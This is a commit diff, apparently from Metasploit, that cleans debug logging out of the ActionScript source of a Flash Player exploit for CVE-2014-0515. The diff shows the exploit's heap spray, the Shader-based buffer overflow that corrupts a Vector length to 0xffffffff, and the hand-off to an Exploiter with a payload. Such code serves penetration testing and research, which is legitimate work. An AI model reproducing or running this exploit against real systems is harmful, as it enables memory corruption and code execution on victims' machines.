Skip to content

Commit 72672fc

Browse files
committed
Delete debug
1 parent 8ed13b1 commit 72672fc

File tree

3 files changed

+13
-22
lines changed

3 files changed

+13
-22
lines changed

data/exploits/CVE-2014-0515/msf.swf

-135 Bytes
Binary file not shown.

external/source/exploits/CVE-2014-0515/Exploit.as

Lines changed: 12 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
1-
//compile with AIR SDK 13.0: mxmlc Exploit.as -o Exploit.swf
1+
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
2+
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
3+
24
package {
35
import flash.display.Sprite
46
import flash.utils.ByteArray
@@ -43,7 +45,6 @@ package {
4345
var corrupted_vector_idx:int = -1
4446

4547
// Memory massage
46-
Logger.log("Memory massage")
4748
var array_length:uint = 0x10000
4849
var vector_size:uint = 34
4950
var array:Array = new Array()
@@ -67,23 +68,14 @@ package {
6768
{
6869
array[(i - (2 * (j % 2)))].length = 0x0100
6970
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
70-
array[(i - (2 * (j % 2)))][1] = 0xdeadbeef
7171
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
7272
i = (i + 28)
7373
j++
7474
}
7575

7676
// Overflow and Search for corrupted vector
77-
Logger.log("Overflow and Search for corrupted vector")
7877
var shadba:ByteArray = (new this.Shad() as ByteArray)
79-
shadba.position = 232
80-
if (Capabilities.os.indexOf("Windows 8") >= 0)
81-
{
82-
shadba.writeUnsignedInt(2472)
83-
}
8478
shadba.position = 0
85-
86-
Logger.log("corrupting")
8779

8880
shader = new Shader()
8981
try
@@ -103,38 +95,37 @@ package {
10395
}
10496

10597
if (corrupted_vector_idx == -1) {
106-
Logger.log("Exploit - Corrupted vector not found.")
10798
return
10899
}
109100

110101
for(i = 0; i < array[corrupted_vector_idx].length; i++) {
111102
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
112-
Logger.log("w00t!, found, corrupting ")
113103
array[corrupted_vector_idx][i] = 0xffffffff
114104
offset = i
115105
break
116106
}
117107
}
118108

119109
if (offset == -1) {
120-
Logger.log("Exploit - Secondary vector not corrupted")
121110
return
122111
}
123112

124113

125114
for(i = 0; i < array.length; i++) {
126115
if (array[i].length == 0xffffffff) {
127-
Logger.log("super corrupted found")
128116
uv = array[i]
129-
Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString())
130117
uv[0x3ffffffc - offset] = 34
131-
Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString())
132118
}
133119
}
134-
Logger.log('done? Exploiting!')
120+
121+
for(i = 0; i < array.length; i++) {
122+
if (array[i].length != 0xffffffff) {
123+
delete(array[i])
124+
array[i] = null
125+
}
126+
}
127+
135128
exploiter = new Exploiter(this, platform, os, payload, uv)
136-
// uv[0x3ffffffe] = 0x100
137-
// Logger.log(uv.length.toString())
138129
}
139130
}
140-
}//package
131+
}

external/source/exploits/CVE-2014-0515/Logger.as

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ package
33
import flash.external.ExternalInterface
44

55
public class Logger {
6-
private static const DEBUG:uint = 1
6+
private static const DEBUG:uint = 0
77

88
public static function alert(msg:String):void
99
{

0 commit comments

Comments
 (0)